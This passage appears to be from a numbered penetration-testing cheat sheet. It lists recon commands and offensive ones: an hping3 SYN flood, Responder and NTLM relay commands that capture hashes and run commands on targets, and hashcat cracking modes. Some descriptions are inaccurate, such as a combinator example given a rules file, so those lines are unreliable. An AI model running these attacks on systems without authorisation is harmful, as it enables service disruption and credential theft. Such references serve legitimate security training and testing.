175	hping3 -Q -p 80 -s 192.168.1.1	Sequence number analysis for TCP ports.
176	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
177	hping3 --flood -V -p 80 192.168.1.1	Send continuous SYN packets to flood a specific port.
178	masscan -p80,443 192.168.1.0/24	Fast port scanner for large networks.
179	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
180	whois example.com	Retrieve domain registration information.
181	dig example.com any	Retrieve DNS records for a domain.
182	nslookup example.com	Retrieve DNS records using nslookup.
183	fierce -dns example.com	DNS reconnaissance and enumeration tool.
184	dmitry -winsepfb http://192.168.1.1	Deepmagic Information Gathering Tool.
185	theHarvester -d example.com -l 500 -b google	Gather emails, subdomains, and other information from search engines.
186	maltego	Open-source intelligence and forensics application.
187	spiderfoot	Automate OSINT gathering and analysis.
188	ike-scan 192.168.1.1	Scan and identify IKE VPN servers.
189	searchsploit	Search for exploit code using Exploit-DB.
190	searchsploit -m 12345	Mirror an exploit to the current directory.
191	responder -I eth0	Network poisoning tool to capture SMB/NTLM hashes.
192	ntlmrelayx.py -smb2support -i	Relay captured NTLM hashes to SMB service.
193	smbrelayx.py -h 192.168.1.1 -c "whoami"	Relay NTLM hashes to execute commands on the target.
194	responder -I eth0 -w	Run Responder in full analysis mode.
195	hashcat -a 0 -m 0 /path/to/hashfile /path/to/wordlist	High-performance password cracking.
196	hashcat -a 3 -m 0 /path/to/hashfile ?a?a?a?a?a?a	Mask attack with brute-force for passwords of length 6.

197	hashcat -a 3 -m 1000 /path/to/hashfile ?l?l?l?l	Mask attack with lowercase letters for NTLM hashes.
198	hashcat -a 0 -m 1800 /path/to/hashfile /path/to/wordlist	Dictionary attack on SHA-512 hashes.
199	hashcat -a 1 -m 0 /path/to/hashfile /path/to/wordlist /path/to/rules	Combinator attack using two wordlists.
200	hashcat -a 6 -m 0 /path/to/hashfile /path/to/wordlist ?d?d	Hybrid attack with dictionary and 2-digit suffix.